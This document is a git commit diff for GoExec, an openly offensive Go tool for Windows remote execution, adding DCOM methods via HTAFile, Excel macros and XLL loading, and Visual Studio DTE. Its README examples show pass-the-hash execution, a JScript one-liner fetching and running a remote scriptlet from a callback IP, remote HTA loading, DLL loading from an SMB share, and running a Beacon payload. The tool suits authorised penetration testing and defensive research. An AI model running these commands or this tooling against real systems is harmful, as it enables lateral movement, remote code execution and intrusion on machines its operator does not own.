Added four new DCOM execution primitives:

- `dcom htafile`
- `dcom excel macro`
- `dcom excel xll`
- `dcom visualstudio dte`

See https://www.falconops.com/blog/goexec-dcom-madness for more info
This commit is contained in:
Bryan McNulty
2025-10-01 13:41:30 -05:00
committed by GitHub
21 changed files with 1231 additions and 386 deletions
+3 -4
View File
@@ -9,6 +9,8 @@ builds:
- env:
- CGO_ENABLED=0
ldflags: -s -w
flags:
- -trimpath
goos:
- darwin
- windows
@@ -16,10 +18,7 @@ builds:
goarch:
- amd64
- arm64
ignore:
- goos: windows
goarch: arm
- riscv64
#upx:
# - enabled: true
+2 -2
View File
@@ -1,14 +1,14 @@
FROM golang:1.24-alpine AS goexec-builder
LABEL builder="true"
WORKDIR /go/src/github.com/github.com/FalconOpsLLC/goexec
WORKDIR /go/src/github.com/FalconOpsLLC/goexec
COPY . .
ARG CGO_ENABLED=0
RUN go mod download
RUN go build -ldflags="-s -w" -o /go/bin/goexec
RUN go build -ldflags="-s -w" -trimpath -o /go/bin/goexec
FROM scratch
COPY --from="goexec-builder" /go/bin/goexec /goexec
+195 -18
View File
@@ -31,7 +31,7 @@ cd goexec
CGO_ENABLED=0 go build -ldflags="-s -w"
# (Optional) Install goexec to /usr/local/bin/goexec
sudo install ./goexec /usr/local/bin
sudo install goexec /usr/local/bin
```
### Install with Docker
@@ -94,8 +94,8 @@ Authentication:
### Fetching Remote Process Output
Although not recommended for live engagements or monitored environments due to OPSEC concerns, we've included the optional ability to fetch program output via SMB file transfer with the `-o`/`--output` flag.
Use of this flag will wrap the supplied command in `cmd.exe /c ... > \Windows\Temp\RANDOM` where `RANDOM` is a random GUID, then fetch the output file via SMB file transfer.
Although not recommended for live engagements or monitored environments due to OPSEC concerns, we've included the optional ability to fetch program output via SMB file transfer with the `-o`/`--out` flag.
Use of this flag will wrap the supplied command in `cmd.exe /c... >\Windows\Temp\RANDOM` where `RANDOM` is a random GUID, then fetch the output file via SMB file transfer.
By default, the output collection will time out after 1 minute, but this can be adjusted with the `--out-timeout` flag.
@@ -148,13 +148,13 @@ Execution:
```shell
# Run an executable without arguments
./goexec wmi proc "$target" \
goexec wmi proc "$target" \
-u "$auth_user" \
-p "$auth_pass" \
-e 'C:\Windows\Temp\Beacon.exe' \
# Authenticate with NT hash, fetch output from `cmd.exe /c whoami /all`
./goexec wmi proc "$target" \
goexec wmi proc "$target" \
-u "$auth_user" \
-H "$auth_nt" \
-e 'cmd.exe' \
@@ -183,7 +183,7 @@ WMI:
```shell
# Call StdRegProv.EnumKey - enumerate registry subkeys of HKLM\SYSTEM
./goexec wmi call "$target" \
goexec wmi call "$target" \
-u "$auth_user" \
-p "$auth_pass" \
-C 'StdRegProv' \
@@ -193,10 +193,11 @@ WMI:
### DCOM Module (`dcom`)
The `dcom` module uses exposed Distributed Component Object Model (DCOM) objects to spawn processes.
The `dcom` module uses exposed Distributed Component Object Model (DCOM) objects to gain remote execution.
> [!WARNING]
> The DCOM module is generally less reliable than other modules because the underlying methods are often reliant on the target Windows version and specific Windows settings.
> Additionally, Kerberos auth is not officially supported by the DCOM module, but kudos if you can get it to work.
```text
Usage:
@@ -206,6 +207,9 @@ Available Commands:
mmc Execute with the MMC20.Application DCOM object
shellwindows Execute with the ShellWindows DCOM object
shellbrowserwindow Execute with the ShellBrowserWindow DCOM object
htafile Execute with the HTAFile DCOM object
excel Execute with DCOM object(s) targeting Microsoft Excel
visualstudio Execute with DCOM object(s) targeting Microsoft Visual Studio
... [inherited flags] ...
@@ -244,7 +248,7 @@ Execution:
```shell
# Authenticate with NT hash, fetch output from `cmd.exe /c whoami /priv` to file
./goexec dcom mmc "$target" \
goexec dcom mmc "$target" \
-u "$auth_user" \
-H "$auth_nt" \
-e 'cmd.exe' \
@@ -284,7 +288,7 @@ The app window argument (`--app-window`) must be one of the values described [he
```shell
# Authenticate with local admin NT hash, execute `netstat.exe -anop tcp` w/ output
./goexec dcom shellwindows "$target" \
goexec dcom shellwindows "$target" \
-u "$auth_user" \
-H "$auth_nt" \
-e 'netstat.exe' \
@@ -292,7 +296,7 @@ The app window argument (`--app-window`) must be one of the values described [he
-o- # write to standard output
# Authenticate with local admin password, open maximized notepad window on desktop
./goexec dcom shellwindows "$target" \
goexec dcom shellwindows "$target" \
-u "$auth_user" \
-p "$auth_pass" \
-e 'notepad.exe' \
@@ -326,17 +330,190 @@ Execution:
```shell
# Authenticate with NT hash, open explorer.exe maximized
./goexec dcom shellbrowserwindow "$target" \
goexec dcom shellbrowserwindow "$target" \
-u "$auth_user@$domain" \
-H "$auth_nt" \
-e 'explorer.exe' \
--app-window 3
```
#### `htafile` Method (`dcom htafile`)
The `htafile` method uses the exposed HTML Application object to call [`IPersistMoniker.Load`](https://learn.microsoft.com/en-us/previous-versions/aa458529(v=msdn.10)) with a client-supplied [URL moniker](https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-oshared/4948a119-c4e4-46b6-9609-0525118552e8). The URL can point to a URL of any format supported by `mshta.exe`.
```text
Usage:
goexec dcom htafile [target] [flags]
Execution:
-U, --url URL Load custom URL
--js string Execute JavaScript one-liner
--vbs string Execute VBScript one-liner
-e, --exec executable Remote Windows executable to invoke
-a, --args string Process command line arguments
-c, --command string Windows process command line (executable & arguments)
-o, --out file Fetch execution output to file or "-" for standard output
-m, --out-method string Method to fetch execution output (default "smb")
--out-timeout duration Output timeout duration (default 1m0s)
--no-delete-out Preserve output file on remote filesystem
... [inherited flags] ...
```
##### Examples
```shell
# Execute `net user` + print output
goexec dcom htafile "$target" \
--user "${auth_user}@${domain}" \
--password "$auth_pass" \
--command 'net user' \
--out -
# Execute blind WSH JavaScript one-liner using admin NT hash
goexec dcom htafile "$target" \
--user "${auth_user}@${domain}" \
--nt-hash "$auth_nt" \
--js 'GetObject("script:http://10.0.0.10:8001/stage.sct").Exec();close()'
# Execute remote HTA file using admin NT hash
goexec dcom htafile "$target" \
--user "${auth_user}@${domain}" \
--nt-hash "$auth_nt" \
--url "http://callback.lan/payload.hta"
```
#### Visual Studio `ExecuteCommand` Method (`dcom visualstudio dte`)
The `visualstudio dte` method uses the exposed `VisualStudio.DTE` object to spawn a process via the `ExecuteCommand` method.
This method requires that the remote host has Microsoft Visual Studio installed.
```text
Usage:
goexec dcom visualstudio dte [target] [flags]
Visual Studio:
--vs-2019 Target Visual Studio 2019
--vs-command string Visual Studio DTE command to execute
--vs-args string Visual Studio DTE command arguments
Execution:
-e, --exec executable Remote Windows executable to invoke
-a, --args string Process command line arguments
-c, --command string Windows process command line (executable & arguments)
-o, --out file Fetch execution output to file or "-" for standard output
-m, --out-method string Method to fetch execution output (default "smb")
--out-timeout duration Output timeout duration (default 1m0s)
--no-delete-out Preserve output file on remote filesystem
```
##### Examples
```shell
# Execute `sc query` (batch) + save output to services.txt
goexec dcom visualstudio dte "$target" \
--user "${auth_user}@${domain}" \
--password "$auth_pass" \
--command 'sc query' -o services.txt
# Execute `cmd.exe /c set` with output, target Visual Studio 2019
goexec dcom visualstudio dte "$target" \
--user "${auth_user}@${domain}" \
--password "$auth_pass" \
--vs-2019 \
--exec 'cmd.exe' \
--args '/c set' -o-
```
#### Excel Methods (`dcom excel`)
The `dcom excel` command group contains remote execution methods targeting Microsoft Excel.
Each of these methods assume that the remote host has Excel installed.
```text
Usage:
goexec dcom excel [command] [flags]
Available Commands:
macro Execute using Excel 4.0 macros (XLM)
xll Execute by Loading an XLL add-in
... [inherited flags] ...
```
#### Excel `ExecuteExcel4Macro` Method (`dcom excel macro`)
The `excel macro` method uses the exposed `Excel.Application` DCOM object to call [`ExecuteExcel4Macro`](https://learn.microsoft.com/en-us/office/vba/api/excel.application.executeexcel4macro) with an arbitrary Excel 4.0 macro.
An Excel installation must be present on the remote host for this method to work.
```text
Usage:
goexec dcom excel macro [target] [flags]
Execution:
-M, --macro string XLM macro
--macro-file file XLM macro file
-e, --exec executable Remote Windows executable to invoke
-a, --args string Process command line arguments
-c, --command string Windows process command line (executable & arguments)
-o, --out file Fetch execution output to file or "-" for standard output
-m, --out-method string Method to fetch execution output (default "smb")
--out-timeout duration Output timeout duration (default 1m0s)
--no-delete-out Preserve output file on remote filesystem
... [inherited flags] ...
```
##### Examples
```shell
# Execute `query session` + print output
goexec dcom excel macro "$target" \
--user "${auth_user}@${domain}" \
--password "$auth_pass" \
--command 'query session' -o-
# Use admin NT hash to directly call a Win32 API procedure via XLM
goexec dcom excel macro "$target" \
--user "${auth_user}@${domain}" \
--nt-hash "$auth_nt" \
-M 'CALL("user32","MessageBoxA","JJCCJ",1,"GoExec rules","bryan was here",0)'
```
#### (Auxiliary) Excel `RegisterXLL` Method (`dcom excel xll`)
The `xll` method uses the exposed Excel.Application DCOM object to call RegisterXLL, thus loading a XLL/DLL from the remote filesystem or an UNC path.
This method requires that the remote host has Microsoft Excel installed.
```text
Usage:
goexec dcom excel xll [target] [flags]
Execution:
--xll path XLL/DLL local or UNC path
... [inherited flags] ...
```
##### Examples
```shell
# Use admin password to execute XLL/DLL from an uploaded file
goexec dcom excel xll "$target" \
--user "${auth_user}" \
--nt-hash "$auth_nt" \
--xll 'C:\Users\localuser\Desktop\file.xll'
# Use admin NT hash to execute XLL/DLL from an SMB share
goexec dcom excel xll "$target" \
--user "${auth_user}@${domain}" \
--nt-hash "$auth_nt" \
--xll '\\smbserver.lan\share\addin.xll'
```
### Task Scheduler Module (`tsch`)
The `tsch` module makes use of the Windows Task Scheduler service ([MS-TSCH](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/)) to spawn processes on the remote target.
```text
Usage:
goexec tsch [command] [flags]
@@ -393,7 +570,7 @@ Execution:
# Authenticate with NT hash via Kerberos,
# register task at \Microsoft\Windows\GoExec,
# execute `C:\Windows\Temp\Beacon.exe`
./goexec tsch create "$target" \
goexec tsch create "$target" \
--user "${auth_user}@${domain}" \
--nt-hash "$auth_nt" \
--dc "$dc_ip" \
@@ -404,7 +581,7 @@ Execution:
# Authenticate using Kerberos AES key,
# execute `C:\Windows\Temp\Seatbelt.exe -group=system`,
# collect output with lengthened (5 minute) timeout
./goexec tsch create "$target" \
goexec tsch create "$target" \
--user "${auth_user}@${domain}" \
--dc "$dc_ip" \
--aes-key "$auth_aes" \
@@ -441,7 +618,7 @@ Execution:
```shell
# Use random task name, execute `notepad.exe` on desktop session 1
./goexec tsch demand "$target" \
goexec tsch demand "$target" \
--user "$auth_user" \
--password "$auth_pass" \
--exec 'notepad.exe' \
@@ -450,7 +627,7 @@ Execution:
# Authenticate with NT hash via Kerberos,
# register task at \Microsoft\Windows\GoExec (will be deleted),
# execute `C:\Windows\System32\cmd.exe /c set` with output
./goexec tsch demand "$target" \
goexec tsch demand "$target" \
--user "${auth_user}@${domain}" \
--nt-hash "$auth_nt" \
--dc "$dc_ip" \
@@ -491,7 +668,7 @@ Execution:
```shell
# Enable debug logging, Modify "\Microsoft\Windows\UPnP\UPnPHostConfig" to run `cmd.exe /c whoami /all` with output
./goexec tsch change $target --debug \
goexec tsch change $target --debug \
-u "${auth_user}" \
-p "${auth_pass}" \
-t '\Microsoft\Windows\UPnP\UPnPHostConfig' \
@@ -594,7 +771,7 @@ Execution:
```shell
# Used named pipe transport, Modify the PlugPlay service to execute `C:\Windows\System32\cmd.exe /c C:\Windows\Temp\stage.bat`
./goexec scmr change $target \
goexec scmr change $target \
-u "$auth_user" \
-p "$auth_pass" \
-F "ncacn_np:" \
+1
View File
@@ -136,6 +136,7 @@ func argsRpcClient(proto string, endpoint string) func(cmd *cobra.Command, args
func(cmd *cobra.Command, args []string) (err error) {
switch {
case rpcClient.Endpoint != "":
case rpcClient.Filter != "":
case endpoint == "":
rpcClient.UseEpm = true
default:
+246 -37
View File
@@ -2,6 +2,10 @@ package cmd
import (
"context"
"fmt"
"io"
"os"
"strings"
"github.com/FalconOpsLLC/goexec/pkg/goexec"
dcomexec "github.com/FalconOpsLLC/goexec/pkg/goexec/dcom"
@@ -18,19 +22,48 @@ func dcomCmdInit() {
dcomMmcCmdInit()
dcomShellWindowsCmdInit()
dcomShellBrowserWindowCmdInit()
dcomHtafileCmdInit()
dcomExcelCmdInit()
dcomVisualStudioCmdInit()
dcomCmd.PersistentFlags().AddFlagSet(defaultAuthFlags.Flags)
dcomCmd.PersistentFlags().AddFlagSet(defaultLogFlags.Flags)
dcomCmd.PersistentFlags().AddFlagSet(defaultNetRpcFlags.Flags)
dcomCmd.AddCommand(dcomMmcCmd, dcomShellWindowsCmd, dcomShellBrowserWindowCmd)
dcomCmd.AddCommand(
dcomMmcCmd,
dcomShellWindowsCmd,
dcomShellBrowserWindowCmd,
dcomHtafileCmd,
dcomExcelCmd,
dcomVisualStudioCmd,
)
}
func dcomExcelCmdInit() {
cmdFlags[dcomExcelCmd] = []*flagSet{
defaultAuthFlags,
defaultLogFlags,
defaultNetRpcFlags,
}
dcomExcelMacroCmdInit()
dcomExcelXllCmdInit()
dcomExcelCmd.AddCommand(dcomExcelMacroCmd, dcomExcelXllCmd)
}
func dcomVisualStudioCmdInit() {
cmdFlags[dcomVisualStudioCmd] = []*flagSet{
defaultAuthFlags,
defaultLogFlags,
defaultNetRpcFlags,
}
dcomVisualStudioDteCmdInit()
dcomVisualStudioCmd.AddCommand(dcomVisualStudioDteCmd)
}
func dcomMmcCmdInit() {
dcomMmcExecFlags := newFlagSet("Execution")
registerExecutionFlags(dcomMmcExecFlags.Flags)
registerExecutionOutputFlags(dcomMmcExecFlags.Flags)
dcomMmcExecFlags.Flags.StringVar(&dcomMmc.WorkingDirectory, "directory", `C:\`, "Working `directory`")
dcomMmcExecFlags.Flags.StringVar(&dcomMmc.WindowState, "window", "Minimized", "Window state")
@@ -48,11 +81,9 @@ func dcomMmcCmdInit() {
func dcomShellWindowsCmdInit() {
dcomShellWindowsExecFlags := newFlagSet("Execution")
registerExecutionFlags(dcomShellWindowsExecFlags.Flags)
registerExecutionOutputFlags(dcomShellWindowsExecFlags.Flags)
dcomShellWindowsExecFlags.Flags.StringVar(&dcomShellWindows.WorkingDirectory, "directory", `C:\`, "Working `directory`")
dcomShellWindowsExecFlags.Flags.StringVar(&dcomShellWindows.WorkingDirectory, "directory", `C:\`, "Working directory `path`")
dcomShellWindowsExecFlags.Flags.StringVar(&dcomShellWindows.WindowState, "app-window", "0", "Application window state `ID`")
cmdFlags[dcomShellWindowsCmd] = []*flagSet{
@@ -69,11 +100,9 @@ func dcomShellWindowsCmdInit() {
func dcomShellBrowserWindowCmdInit() {
dcomShellBrowserWindowExecFlags := newFlagSet("Execution")
registerExecutionFlags(dcomShellBrowserWindowExecFlags.Flags)
registerExecutionOutputFlags(dcomShellBrowserWindowExecFlags.Flags)
dcomShellBrowserWindowExecFlags.Flags.StringVar(&dcomShellBrowserWindow.WorkingDirectory, "directory", `C:\`, "Working `directory`")
dcomShellBrowserWindowExecFlags.Flags.StringVar(&dcomShellBrowserWindow.WorkingDirectory, "directory", `C:\`, "Working directory `path`")
dcomShellBrowserWindowExecFlags.Flags.StringVar(&dcomShellBrowserWindow.WindowState, "app-window", "0", "Application window state `ID`")
cmdFlags[dcomShellBrowserWindowCmd] = []*flagSet{
@@ -88,10 +117,99 @@ func dcomShellBrowserWindowCmdInit() {
dcomShellBrowserWindowCmd.MarkFlagsOneRequired("command", "exec")
}
func dcomHtafileCmdInit() {
dcomHtafileExecFlags := newFlagSet("Execution")
dcomHtafileExecFlags.Flags.StringVarP(&dcomHtafile.Url, "url", "U", "", "Load custom `URL`")
dcomHtafileExecFlags.Flags.StringVar(&dcomHtafile.Javascript, "js", "", "Execute JavaScript one-liner")
dcomHtafileExecFlags.Flags.StringVar(&dcomHtafile.Vbscript, "vbs", "", "Execute VBScript one-liner")
registerExecutionFlags(dcomHtafileExecFlags.Flags)
registerExecutionOutputFlags(dcomHtafileExecFlags.Flags)
cmdFlags[dcomHtafileCmd] = []*flagSet{
dcomHtafileExecFlags,
defaultAuthFlags,
defaultLogFlags,
defaultNetRpcFlags,
}
dcomHtafileCmd.Flags().AddFlagSet(dcomHtafileExecFlags.Flags)
// Constraints
dcomHtafileCmd.MarkFlagsOneRequired("command", "exec", "url", "js", "vbs")
}
func dcomExcelMacroCmdInit() {
dcomExcelMacroExecFlags := newFlagSet("Execution")
dcomExcelMacroExecFlags.Flags.StringArrayVarP(&dcomExcelMacro.Macros, "macro", "M", nil, "XLM macro `code`")
dcomExcelMacroExecFlags.Flags.StringVar(&dcomExcelMacro.MacroFile, "macro-file", "", "XLM macro `file`")
registerExecutionFlags(dcomExcelMacroExecFlags.Flags)
registerExecutionOutputFlags(dcomExcelMacroExecFlags.Flags)
cmdFlags[dcomExcelMacroCmd] = []*flagSet{
dcomExcelMacroExecFlags,
defaultAuthFlags,
defaultLogFlags,
defaultNetRpcFlags,
}
dcomExcelMacroCmd.Flags().AddFlagSet(dcomExcelMacroExecFlags.Flags)
// Constraints
dcomExcelMacroCmd.MarkFlagsOneRequired("command", "exec", "macro", "macro-file")
dcomExcelMacroCmd.MarkFlagsMutuallyExclusive("command", "exec", "macro", "macro-file")
dcomExcelMacroCmd.MarkFlagsMutuallyExclusive("macro", "macro-file", "out")
}
func dcomVisualStudioDteCmdInit() {
dcomVisualStudioDteVsFlags := newFlagSet("Visual Studio")
dcomVisualStudioDteVsFlags.Flags.BoolVar(&dcomVisualStudioDte.Is2019, "vs-2019", false, "Target Visual Studio 2019")
dcomVisualStudioDteVsFlags.Flags.StringVar(&dcomVisualStudioDte.CommandName, "vs-command", "", "Visual Studio DTE command to execute")
dcomVisualStudioDteVsFlags.Flags.StringVar(&dcomVisualStudioDte.CommandArgs, "vs-args", "", "Visual Studio DTE command arguments")
dcomVisualStudioDteExecFlags := newFlagSet("Execution")
registerExecutionFlags(dcomVisualStudioDteExecFlags.Flags)
registerExecutionOutputFlags(dcomVisualStudioDteExecFlags.Flags)
cmdFlags[dcomVisualStudioDteCmd] = []*flagSet{
dcomVisualStudioDteVsFlags,
dcomVisualStudioDteExecFlags,
defaultAuthFlags,
defaultLogFlags,
defaultNetRpcFlags,
}
dcomVisualStudioDteCmd.Flags().AddFlagSet(dcomVisualStudioDteVsFlags.Flags)
dcomVisualStudioDteCmd.Flags().AddFlagSet(dcomVisualStudioDteExecFlags.Flags)
// Constraints
dcomVisualStudioDteCmd.MarkFlagsOneRequired("command", "exec", "vs-command")
dcomVisualStudioDteCmd.MarkFlagsMutuallyExclusive("command", "exec", "vs-command")
dcomVisualStudioDteCmd.MarkFlagsMutuallyExclusive("vs-command", "out")
}
func dcomExcelXllCmdInit() {
dcomExcelXllExecFlags := newFlagSet("Execution")
dcomExcelXllExecFlags.Flags.StringVar(&dcomExcelXll.XllLocation, "xll", "", "XLL/DLL local or UNC `path`")
cmdFlags[dcomExcelXllCmd] = []*flagSet{
dcomExcelXllExecFlags,
defaultAuthFlags,
defaultLogFlags,
defaultNetRpcFlags,
}
dcomExcelXllCmd.Flags().AddFlagSet(dcomExcelXllExecFlags.Flags)
// Constraints
if err := dcomExcelXllCmd.MarkFlagRequired("xll"); err != nil {
panic(err)
}
}
var (
dcomMmc dcomexec.DcomMmc
dcomShellWindows dcomexec.DcomShellWindows
dcomShellBrowserWindow dcomexec.DcomShellBrowserWindow
dcomMmc = dcomexec.DcomMmc{}
dcomShellWindows = dcomexec.DcomShellWindows{}
dcomShellBrowserWindow = dcomexec.DcomShellBrowserWindow{}
dcomHtafile = dcomexec.DcomHtafile{}
dcomExcelMacro = dcomexec.DcomExcelMacro{}
dcomExcelXll = dcomexec.DcomExcelXll{}
dcomVisualStudioDte = dcomexec.DcomVisualStudioDte{}
dcomCmd = &cobra.Command{
Use: "dcom",
@@ -99,7 +217,21 @@ var (
Long: `Description:
The dcom module uses exposed Distributed Component Object Model (DCOM) objects to spawn processes.`,
GroupID: "module",
Args: cobra.NoArgs,
Args: cobra.ArbitraryArgs,
}
dcomExcelCmd = &cobra.Command{
Use: "excel [method]",
Short: "Execute with DCOM object(s) targeting Microsoft Excel",
Long: `Description:
Commands in the excel group use exposed Excel DCOM objects to gain remote execution`,
}
dcomVisualStudioCmd = &cobra.Command{
Use: "visualstudio [method]",
Short: "Execute with DCOM object(s) targeting Microsoft Visual Studio",
Long: `Description:
Commands in the visualstudio group use exposed Visual Studio DCOM objects to gain remote execution`,
}
dcomMmcCmd = &cobra.Command{
@@ -108,19 +240,13 @@ var (
Long: `Description:
The mmc method uses the exposed MMC20.Application object to call Document.ActiveView.ShellExec,
and ultimately spawn a process on the remote host.`,
Args: args(
argsRpcClient("host", ""),
Args: args(argsRpcClient("cifs", ""),
argsOutput("smb"),
argsAcceptValues("window", &dcomMmc.WindowState, "Minimized", "Maximized", "Restored"),
),
Run: func(cmd *cobra.Command, args []string) {
dcomMmc.Client = &rpcClient
dcomMmc.IO = exec
dcomMmc.ClassID = dcomexec.Mmc20Uuid
ctx := log.With().
Str("module", dcomexec.ModuleName).
Str("method", dcomexec.MethodMmc).
ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodMmc).
Logger().WithContext(gssapi.NewSecurityContext(context.Background()))
if err := goexec.ExecuteCleanMethod(ctx, &dcomMmc, &exec); err != nil {
@@ -135,19 +261,13 @@ var (
Long: `Description:
The shellwindows method uses the exposed ShellWindows DCOM object on older Windows installations
to call Item().Document.Application.ShellExecute, and spawn the provided process.`,
Args: args(
argsRpcClient("host", ""),
Args: args(argsRpcClient("host", ""),
argsOutput("smb"),
argsAcceptValues("app-window", &dcomShellWindows.WindowState, "0", "1", "2", "3", "4", "5", "7", "10"),
),
Run: func(cmd *cobra.Command, args []string) {
dcomShellWindows.Client = &rpcClient
dcomShellWindows.IO = exec
dcomShellWindows.ClassID = dcomexec.ShellWindowsUuid
ctx := log.With().
Str("module", dcomexec.ModuleName).
Str("method", dcomexec.MethodShellWindows).
ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodShellWindows).
Logger().WithContext(gssapi.NewSecurityContext(context.Background()))
if err := goexec.ExecuteCleanMethod(ctx, &dcomShellWindows, &exec); err != nil {
@@ -162,19 +282,13 @@ var (
Long: `Description:
The shellbrowserwindow method uses the exposed ShellBrowserWindow DCOM object on older Windows installations
to call Document.Application.ShellExecute, and spawn the provided process.`,
Args: args(
argsRpcClient("host", ""),
Args: args(argsRpcClient("host", ""),
argsOutput("smb"),
argsAcceptValues("app-window", &dcomShellBrowserWindow.WindowState, "0", "1", "2", "3", "4", "5", "7", "10"),
),
Run: func(cmd *cobra.Command, args []string) {
dcomShellBrowserWindow.Client = &rpcClient
dcomShellBrowserWindow.IO = exec
dcomShellBrowserWindow.ClassID = dcomexec.ShellBrowserWindowUuid
ctx := log.With().
Str("module", dcomexec.ModuleName).
Str("method", dcomexec.MethodShellBrowserWindow).
ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodShellBrowserWindow).
Logger().WithContext(gssapi.NewSecurityContext(context.Background()))
if err := goexec.ExecuteCleanMethod(ctx, &dcomShellBrowserWindow, &exec); err != nil {
@@ -182,4 +296,99 @@ var (
}
},
}
dcomHtafileCmd = &cobra.Command{
Use: "htafile [target]",
Short: "Execute with the HTAFile DCOM object",
Long: `Description:
The htafile method uses the exposed "HTML Application" DCOM object to load a remote HTA application or execute inline.
This is made possible by the Load method of the IPersistMoniker interface.`,
Args: args(argsRpcClient("host", ""), argsOutput("smb")),
RunE: func(cmd *cobra.Command, args []string) error {
dcomHtafile.Client = &rpcClient
dcomHtafile.Url = dcomexec.HtafileGetUrl(dcomHtafile.Url, dcomHtafile.Javascript, dcomHtafile.Vbscript, &exec)
if url := strings.ToLower(dcomHtafile.Url); (strings.HasPrefix(url, "javascript:") || strings.HasPrefix(url, "vbscript:")) && len(url) > 508 {
return fmt.Errorf("script URL exceeds maximum length supported by mshta.exe (%d > 508)", len(url))
}
ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodHtafile).
Logger().WithContext(gssapi.NewSecurityContext(context.Background()))
if err := goexec.ExecuteCleanMethod(ctx, &dcomHtafile, &exec); err != nil {
log.Fatal().Err(err).Msg("Operation failed")
}
return nil
},
}
dcomExcelMacroCmd = &cobra.Command{
Use: "macro [target]",
Short: "Execute using Excel 4.0 macros (XLM)",
Long: `Description:
The macro method uses the exposed Excel.Application DCOM object to call ExecuteExcel4Macro, thus executing
XLM macros at will. This method requires that the remote host has Microsoft Excel installed.`,
Args: args(argsRpcClient("host", ""), argsOutput("smb"),
func(*cobra.Command, []string) error {
if dcomExcelMacro.MacroFile != "" {
f, err := os.Open(dcomExcelMacro.MacroFile)
if err != nil {
return fmt.Errorf("open macro file: %w", err)
}
defer func() { _ = f.Close() }()
b, err := io.ReadAll(f)
if err != nil {
return fmt.Errorf("read macro file: %w", err)
}
dcomExcelMacro.Macros = strings.Split(string(b), "\n")
}
return nil
},
),
Run: func(*cobra.Command, []string) {
dcomExcelMacro.Client = &rpcClient
ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodExcelMacro).
Logger().WithContext(gssapi.NewSecurityContext(context.Background()))
if err := goexec.ExecuteCleanMethod(ctx, &dcomExcelMacro, &exec); err != nil {
log.Fatal().Err(err).Msg("Operation failed")
}
},
}
dcomExcelXllCmd = &cobra.Command{
Use: "xll [target]",
Short: "Execute by Loading an XLL add-in",
Long: `Description:
The xll method uses the exposed Excel.Application DCOM object to call RegisterXLL, thus loading a XLL/DLL.
The XLL location (--xll) can be a path on the remote filesystem or an UNC path. This method requires that the
remote host has Microsoft Excel installed.`,
Args: args(argsRpcClient("host", "")),
Run: func(*cobra.Command, []string) {
dcomExcelXll.Client = &rpcClient
ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodExcelXLL).
Logger().WithContext(gssapi.NewSecurityContext(context.Background()))
if err := goexec.ExecuteCleanAuxiliaryMethod(ctx, &dcomExcelXll); err != nil {
log.Fatal().Err(err).Msg("Operation failed")
}
},
}
dcomVisualStudioDteCmd = &cobra.Command{
Use: "dte [target]",
Short: "Execute with the VisualStudio.DTE object",
Long: `Description:
The dte method uses the exposed VisualStudio.DTE object to spawn a process via the ExecuteCommand method. This method
requires that the remote host has Microsoft Visual Studio installed.`,
Args: args(argsRpcClient("host", ""), argsOutput("smb")),
Run: func(*cobra.Command, []string) {
dcomVisualStudioDte.Client = &rpcClient
ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodVisualStudioDTE).
Logger().WithContext(gssapi.NewSecurityContext(context.Background()))
if err := goexec.ExecuteCleanMethod(ctx, &dcomVisualStudioDte, &exec); err != nil {
log.Fatal().Err(err).Msg("Operation failed")
}
},
}
)
+8 -8
View File
@@ -9,14 +9,14 @@ toolchain go1.24.4
require (
github.com/RedTeamPentesting/adauth v0.5.0
github.com/google/uuid v1.6.0
github.com/oiweiwei/go-msrpc v1.2.7
github.com/oiweiwei/go-msrpc v1.2.8
github.com/oiweiwei/go-smb2.fork v1.0.0
github.com/rs/zerolog v1.34.0
github.com/spf13/cobra v1.9.1
github.com/spf13/pflag v1.0.7
golang.org/x/net v0.43.0
golang.org/x/term v0.34.0
golang.org/x/text v0.28.0
github.com/spf13/cobra v1.10.1
github.com/spf13/pflag v1.0.10
golang.org/x/net v0.44.0
golang.org/x/term v0.35.0
golang.org/x/text v0.29.0
)
require (
@@ -33,7 +33,7 @@ require (
github.com/mattn/go-colorable v0.1.14 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/oiweiwei/gokrb5.fork/v9 v9.0.4 // indirect
golang.org/x/crypto v0.41.0 // indirect
golang.org/x/sys v0.35.0 // indirect
golang.org/x/crypto v0.42.0 // indirect
golang.org/x/sys v0.36.0 // indirect
software.sslmate.com/src/go-pkcs12 v0.6.0 // indirect
)
+17 -17
View File
@@ -42,8 +42,8 @@ github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/
github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/oiweiwei/go-msrpc v1.2.7 h1:sDZsoeOCwQSqndZQ4QFeEaAWrSUilNal2tPYhzPj18U=
github.com/oiweiwei/go-msrpc v1.2.7/go.mod h1:UCclo9KdJ9TDNQw/RtFSgV8u9c+KhPvidtGeLeXj9ls=
github.com/oiweiwei/go-msrpc v1.2.8 h1:myqs335MG/BmNAxZ/+ojh4CFONMo35q5NockkG+6uBw=
github.com/oiweiwei/go-msrpc v1.2.8/go.mod h1:UCclo9KdJ9TDNQw/RtFSgV8u9c+KhPvidtGeLeXj9ls=
github.com/oiweiwei/go-smb2.fork v1.0.0 h1:xHq/eYPM8hQEO/nwCez8YwHWHC8mlcsgw/Neu52fPN4=
github.com/oiweiwei/go-smb2.fork v1.0.0/go.mod h1:h0CzLVvGAmq39izdYVHKyI5cLv6aHdbQAMKEe4dz4N8=
github.com/oiweiwei/gokrb5.fork/v9 v9.0.4 h1:zHeZ/qjAAWrvsY1QltduANZLQ023APBYkPFJoHLA0ik=
@@ -55,11 +55,11 @@ github.com/rs/xid v1.6.0/go.mod h1:7XoLgs4eV+QndskICGsho+ADou8ySMSjJKDIan90Nz0=
github.com/rs/zerolog v1.34.0 h1:k43nTLIwcTVQAncfCw4KZ2VY6ukYoZaBPNOE8txlOeY=
